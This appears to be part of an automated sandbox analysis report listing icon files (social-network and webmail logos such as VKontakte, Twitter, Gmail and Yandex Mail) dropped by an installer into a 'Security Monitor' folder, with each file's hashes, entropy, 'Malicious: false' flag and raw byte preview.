File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.638733880632528
Encrypted:	false
SSDEEP:	12:6v/7Uqs1+tuWPx3jbdb1W7vVeaQkcbxKOd1MB09EVxRXXstDRpROyXSF:3qs1vWPxTugaxcbxKwMB09EjUVOyg
MD5:	B9A06A13BF911BA4288024CB22CD4B8E
SHA1:	43D03CC1C89C311CD7E8F39D531341D71CEA5C98
SHA-256:	E37F73F2FC45067F9F946BA9AC18E6D5C87FFDFB096853667699EA5CA116871E
SHA-512:	417D7091DA9950B32A197599775BD72A9DD7A2D996F5F057B47D490A61AD70D697A3D2B293ECDDF0901D6EE482B86CBC04E808E08005550E7F0600AE5F1134A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.KLSQ...so.........ipC0F..$..h._....H...r.[.........+.....X.......)-..B.....C..t.............).x(....&,/..x..n.`.F.9.y.S..U..bq.....M.f.08}..G"Q.LGC...GQW..B...&.)H\|.c6.%DU...08..s.4.#..`..?..]....f. _..c.h.j{?..?q(0........}.h~'.........k..b.eZ.......f..KI0..+kz#..T/.....^.F.]..D`p....`........J8(..2.h]Z.d.j...4..`2.!..1.......KQ.......L..].K....Sq..(:.~CO.R...4:..s.y.<.\|Y..O.3..E]...'...e?.T?H@i.3..U.d,5.....8]..f...t.kh....T.....Xs.).....t.(.q.........0.....M...Y....[.O.Z...vkk......W$..2nl.......].OI..[........$g.2n\|.'X..G..]...V..+..#7.\|'."..K`jr..h.!...s..`_..Plvt....9..Zt.....D<...q6.8g.r.h..B.Y..]$.P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\odnoklassniki.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.462526568231166
Encrypted:	false
SSDEEP:	24:xDsK0GRS99Rss9RRgJw3Y8/atH9aVGS4pF8lY2GSVSSSSSaGR/X/f:lML9RYwottHQVGR8l9TVSSSSSaUvf
MD5:	EA31E69B4C099C0090A088937CE958D6
SHA1:	CC50F1927506BA8B94C17BFEBBA8D7B928C3A2E0
SHA-256:	3F5FDBA100DD35B0BB4DBBC216A6D0E555C11E3C4907871A1B641BAFCEF6AC99
SHA-512:	B3A62801B292D27F8614E8612399A13A1B66C15EE8ED7781A4DE87C05CE8530255A8F4BA993775810D8E4E1DA2647E58B57C3026BB0718294AA6E4C515E888D2
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D...C...A...A...A...@...@...@...@...@...@...A...A...A...C...D...E../r...e...c...b...`...^...`...`...^..._...a...c...e../r...E...G...k...V...U...T...M...J...K...L...J...L...R...U...V...k...G...I...m...Y...Y...X..........@{...`...........m...Y...Y...m...I...K...q..._..._...^...e..................$r...]..._..._...q...K...M...v...c...c...a...Z...d..........9z...X...^...b...c...v...M...N..!{...g...g...d..s.......................(w...e...g..!{...N...R..$....l...m...k..........R...P...w............l...l..$....R...S..'....q...r...p..#z..`...........z...&{...{...r...q..'....S...U..,....v...v...r..Y........................q...t...v..,....U...W..1....z...z...w...........r...r..........?....y...z..1....W...Y..6....}...}...{...........p...m..........E....}...}..6....Y...[..;...............l.......................%...........;....[...^..A...#..."...#...$...y...............,...#..."...#...A....^...`..[...G...D...E...F...F...F...F...F...F.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\odnoklassniki.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.700988619334296
Encrypted:	false
SSDEEP:	24:2/3exgROSyP3NqUTxBlR8kEPzRspi/MKFhG1Bx:hQOZNVR8HVZkKDG1v
MD5:	6EC205B2369CA054BF85B085486CED9D
SHA1:	26C0B61289F804913164DDDAD8F905E12C8BD4A3
SHA-256:	7E436D02E18B665764D2F2C748068AC8069DB59BCDDA9983F09EA370D742474E
SHA-512:	A446CB697276D8AB014E0A38FFB0F6F31FC1BE4DD27A0A795829F4E844237243EE6B7A92A881841DA30F4E3E7A396E6065DAEB4C868CAD7EE195162CCDE0ADBA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.[hTW...}f....8Ij.51!.TI.h.^PJ...........\|.O}RKQ..D.\|....,H.. -i....4...1..h&.....]{...v..........,.?.}.......2../...r...........zH% .Z.fA...%;>.. ..MT.+.....c....r....!......%pS.c.......k/..O...W.$Wm.].`.....N.g.......m...b.VTg#zY.j....4T..b.\|^..D7....'....\.z....J.j{(....F(.Y.3"..w`^....p.....j.:...........@;.z..UUB...O.E..6.7]..6..5,.J..Y2-...I.1(TJ..Tt...&.#.V..PH.\|.[...O....2.....[."+...2....8..K..=..;c4.....uRO[....a...........Z./.3........^{0%.$7\|..r7Np..\'.Hw....2..1..+(#.......e%B.saZ:...&s........D...g.3/ ...o........Q."....Bo:+.@.(_........^m"0..x../..../Q.....p.C............y;.'.M..f.y'Nb........B.\|...(..~e.5.....'..w...A...y.\|.....B.....z..=$.......$.k.C~...a..1.}...sNH.q;..Y..o...j.].'..~.)..H.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\qqzone.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5696063839477725
Encrypted:	false
SSDEEP:	12:0onYbuFo5fA8aRoEttw4HX1Jur9OrnYGKBjD21cmex8ZJnISD:9loEttw8uWy9sYK
MD5:	4F38A1E43DE6E4F1BD4BDBCC55706408
SHA1:	BBBDFB099C1921BD944230FC37DC9963FD2EED81
SHA-256:	9CA3C995F7DB760EFF9ED69DFDBA578481CAB520D164F1B7A1201E1DFB7AAA66
SHA-512:	6840EAE20F876A5DE457AB3DC703E28D302FB640E641F9AC2117D8EF30DF447BCC265F3CDC68DA5EE21CF14AA0FFB7AD6873C041DF016DD536018E7BC9E59A90
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................q...................................b.......................................!...............s...................................................................................................x...............................................................MJ...................g...8......................................*#...................................e..~........................................]......................"....................................S.......X...................... ....................................^...............................................i...........................K..........................?...n....................,......................y...J...........................J...................................................................................................................................4...........o..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\qqzone.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	639
Entropy (8bit):	7.377780326372934
Encrypted:	false
SSDEEP:	12:6v/7VDc+Qow9oS1rka1r1gslVtbq7eH8MycqGcjnM1eyYHhLpPiX:fLow9frbxG4qecMCBjnMsyYHiX
MD5:	532021B5830C2239DEE3E8FF33229A0B
SHA1:	4C2280EF8547087BE905669B6F49AEEA4C19E2F5
SHA-256:	AA747B612FBFAC5FAC5866F83687D3683402387436E528C80D6E3B7C48EE770A
SHA-512:	90D8345469986460A788254EDADCBFB13F5C0FFF81F8CD9707C86A47E1DBA426A6318E5BA52ACFC381F81DB59CF10B04A894EF7FC5CBC950CE5B59FD001C5F88
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a... cHRM..z%..............u0...`..:....o._.F....pHYs...........~.....tEXtSoftware.paint.net 4.0.6..c.....IDAT8O.SKH.Q...i..U...J..J.]......tS....E....]..BW...B...?(RE.D4.[.A. .Db2..../.....L..{....X..*...."."w9...e.;.FD.!.Z~8h.;fw.!..J....<1.5......n..L.... ..1.....U..o.........Q.....U.....G.Pg?...m....P[..[EdC..g\|.~#.p.T.s...o/q1Z..B3..`..........C.K..X....Ym........aF...^.P....L.M..p2...Z..k.g....I....7...IC..P...:.Af.. ...-.P....am.3....~.k}H-.!9^.D.......Y[...?....{.w0W.k...O?...y....P+.5'....!........r..8..\|.0N.....z7yD.X+.%..T....+..-..!-jG.o..kn.)61......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\twitter.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.943382230545427
Encrypted:	false
SSDEEP:	12:S4YaNZKzJLGaBGzrHyCX0n3Ols63OjokVhVZcR9dfw8skIL00006fDxzKapll1Km:1uzJJBGH+j5hS9VxAmpKuNNNNNNNNNZ
MD5:	C372CECACDD31BCFD147D55D146C2CD4
SHA1:	A0C7F66256023E4DA4697CE0D37D809D206CC85E
SHA-256:	508BD905BEA0E89DA025DECD1BFE5E4B31A1F003BC3F2B5C5567A2470A307820
SHA-512:	58287A1C0896ABA3F9712FCEA29C3DAF892AE9F485E4DDBA56A442F9B7B6F439D3375A0EB46209FF4E86720B0D5C706BC22F8C49165A34458CA0A4EE2BD94DE7
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................Q...F...?...?...?...?...?...?...?...?...?...?...?...>...E...Q...H...i...............................................d...H...C...................E...3...3...3...3................C...E................3...3...3...3...3...3...3.............E...G.............F...3...3...3...3...3...3................H...I.............3...3...3................................J...K.............3...3...3................................L...N.............3...3...3...3...3...3...3................N...P.............3...3...3...3...3...3...3...3.............P...R..............3...3...3...3...3...3...3.................R...T..............3...3...3.................................U...V..............3...3...3.............................W...X.................3................................Y...[.....................................................\...g......................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\twitter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.412255128365162
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjAgxNF+Q7L4f031MIYJqGdhz90Iq7AGg71T+51fDPgME:XMOxbL4+S1nJ0xk71TYzgP
MD5:	79AEBF6646108C56AA59E1D27672A308
SHA1:	BAA186067518DFA1F18A2AFCB50AF03041E40AA4
SHA-256:	B64E7582BFD5CD8AAE7F9AB31B2B12AFF640857B6670873D94C15D0CE70533D9
SHA-512:	D41A2F5A204B43DADF5CC461EB1E713187B6AF616FF651A06299574C7BE1E8E9A634E9259C3B63594E627DE2FC8B5DE4CC02FD2DF5F51E924E74C74A7EAD515A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z......IDAT8...MkSQ...s.I./.ik...S..bA1[7n...H@...[...D.n.U..E.bAcH.$MC.....ZIc...8...w..U.=..UsbUU).;.F.+.R3....U.I%P4.E...V.......9rT.].X,V"n.\."&.3.2pn.R."...o...".L`.=..9>...-...w.y..\..#g.^...@..z..P...Z.D......D.ApA.*.........pD.:\|...&.x..p......5..R.w..x....SY.../.J&.I..H...'...X....=A.x..&...{....b.0.cEp..:............%..$&........g;f.P..6..t~.S.R.>...[6..s=x.u.r&.O...^..jJQDc0b..............'tc.ec8.#..z......>\..M..b.;.<%..4.0v....o..V/b...&g\|mo"..^...N..#.).#..fB....:..t......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\vkontakte.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.276060631735337
Encrypted:	false
SSDEEP:	24:MXjJ+Ja5yURg0WulL9rChz1XcXbQxX2rD4:kIJ4yURgLkprChzBcXbeXID4
MD5:	97B03F45DC3F2AA6B9908A842ED7A308
SHA1:	5C0489A30B7805DB94B9F60C53616A4CA8BCA5C4
SHA-256:	C08548C6A31E3C58F69B083ADAA3154C5957619E65F1FF910FDBB7F83B480183
SHA-512:	78130C2A02CF5E56103C42E3ADB35CA85DBB8A66259C895F7CEB987B1BC7B73932F54A2F28B4F065765C9B9264E088E57C5DEE70ABCC9B41D9DE6AEE90BE08A9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................U="..b<.f>.f>.f>.f>.f>.f>.f>.f>.f>.f>.b<.U=".....W>"..wJ..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..wJ.W>"..g;.pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..g;.i<.mA..mA..l@..l?..l@..mA..mA..m@..l?..l@..mA..l@..l?..l?..i<.g9.j>..j=..\|].......l..i<..j>..sQ.......]..i<..._.......y..f7.e7.g:..d4..............a2..g:..x^.......t..g<..........rJ..e6.c4.c6..a8..............tM..c6..x].......o...........y..a3..c4.a2._1...n......\|c..........^0..x[.................[,..`2..a2._/.X'.........]/.........`2..~c...............w..Y*..]..._/.[+.f?.........tL...........j...u..................._..c7..[+.yR.............a...g.......................a...........d..yR.i........u...r...o..........~..........r..............j.z.........................................................z...............................................................p[..............................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\vkontakte.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.739847313028713
Encrypted:	false
SSDEEP:	12:6v/7A0VGIMaJnGINOCUG1s1tdXBlkgV3qICi6aw5FDk+RA1xuw/bK11x8GRtnY1V:5IzGGO60BC/P5iohugnYiLjU
MD5:	F7412F52AFCDBFAA2520A462C99468FC
SHA1:	DE1BAD996FACA409432C84C0EE0724827C00D072
SHA-256:	13F249E23B22582CFC057954C4A040EBA5733E3FEEA3FC3DAB0F9EF584DE89A8
SHA-512:	FA1205996FF98BCA175F38AB210AF47E56DF29E580D8FA16CA6C30C9BF324D53847335149DCDB874178F7642D49AD24DFEC0C67B32F831E6999B9050FB7ECE64
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S{H.Q.=....)Y....\|4..CmeZZ*....!dQ..J..J..aI..... %.LILK..0....SI..H3\|l.}[[O.........K.K.....s."#.DB...a...t........hAb\..h4NG.....7j..W.z.fK.3R.....emD4c%...0.....7?a.9.GY..g.......x..<.c..3@....#.......>}....X...v.j.W.$(.....]..(.lF..A..G..m.oU.UW/r..p..1^t..pj4.Y..x...=G...X'[..-..j.NW>.Z.Gdn.E.[..&....'+...@.uk..........Oqd....~r.).G....1.W.L.........@..(..g..![....P..eI...(...(Y....:...h(J.......j.7.......D..M`.....Zd.6B$...rD...K..e2.\....I8..ao..h....Y.\|.&... .t@X...u/q.........T,M......Q.%.Vs...!."....rw.GYC.Z.9...a#....G.l51D^..i..... .J?W.hF.>0......(..m=Z.hG.5O...........=%.P.H..-C..P..?.=V.#..~........M....2..T.?..D....._$....qg]....@$...d4.....[j2.....AF%.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\youtube.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.490442714261337
Encrypted:	false
SSDEEP:	24:hvTTTTTTTTTTTr6TTTTTTTTTTTTc2UTTATTTTTiTTFTTTTKTTTLTTUTTT5PTTVTp:NTTTTTTTTTTT2TTTTTTTTTTTTc2UTTAa
MD5:	3EFC7DC297E404B3905700EC7BAD9F52
SHA1:	51AA1918C57A97D0C0C60D7AE9C55356E6F6B8F9
SHA-256:	455B953BE12AFA28BF8823BBD0A8E2C1D7730878FBCBF7B1D3245D4FB5A09ACA
SHA-512:	29644DA8AB7596B0EF2849BF7BBED4B76478C38DCA6EE7E735D4CA9B4693F1978CF60A5909C8733A98CF5C14F088884FCFC0AED6C85C6109F7838729D18E98F9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................................................................B...{.....................................F.......d...........................................................d................................................................................................................................................................+,......................................................................$%..............................................................UU......................................................qq......................................................NO.........................................................................................................e...........................................................e.......G.......................................G..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\youtube.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	6.917623353697257
Encrypted:	false
SSDEEP:	12:6v/78/LcZn9Kk5YNxqZcvZ46+mxhdPGDjrc:KZUIYNxtvPZV
MD5:	483305114EBE1A4A44773D21D611216C
SHA1:	3C0FBD8BA2AE801A9B03CC238AB641E65E9B67D2
SHA-256:	A150DC4A0B8367A03736C12A4851EB29D780D3EE2B1D0709B417BE0A5FCE1774
SHA-512:	706D04A9BAC5EFA0F85A2070305BF52908D1D4DFF1AE27B4EA09E7BAC291D94B2E980EEEEA9A9C29559E2C728E44C276561F559532E3DFB929AD70C4829FA111
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT8Oc.......Ya..s...f......-;+,....l.. 9...Z....."..@...`.^...G.I..Az......&y....yI..q.,$..h...l..v..............n.H/.6...........vh.?,...4../..O..wQU....8..n..?....wYG.C...^....$.9......h<'(..M.(...N.g......U..i.9!..@z>.^.T...AI........3.5.........00...!s&...T....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\GMX.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Gmail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.433906899003064
Encrypted:	false
SSDEEP:	48:FYv/RQcs//cF///cPG/////cP5Q//////cPQ////////ce///////cE4/////c3Q:uv/RdBmTBVlbaMeExLKwePaSO
MD5:	5B44B02CBAC63F77EDFDB9C6B685AD91
SHA1:	D8592C8C56F4E6DE68835268459472F24362A9CD
SHA-256:	9CD7273F90F5F7C4BD2003695920A551B204A2F73690D6B0918323E2649DD15A
SHA-512:	F0D33196CE43A5D599D271E1176A5A76FD09B271A3B44810CD9DE9310FE4EF57EA1D71918F6B596C1AB42755C890B61D5EF49EBDDE72D5AC879C137B497E83E6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L]..LY.MY..........................................................................9../9..-8.2....O_..MY..MZ..MZ................................................................................................./9../9..-7..-8.2NY.XMZ..MZ..MZ...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Mail.RU.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Mail.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Outlook Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Outlook.Live.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Yahoo Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Yandex Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
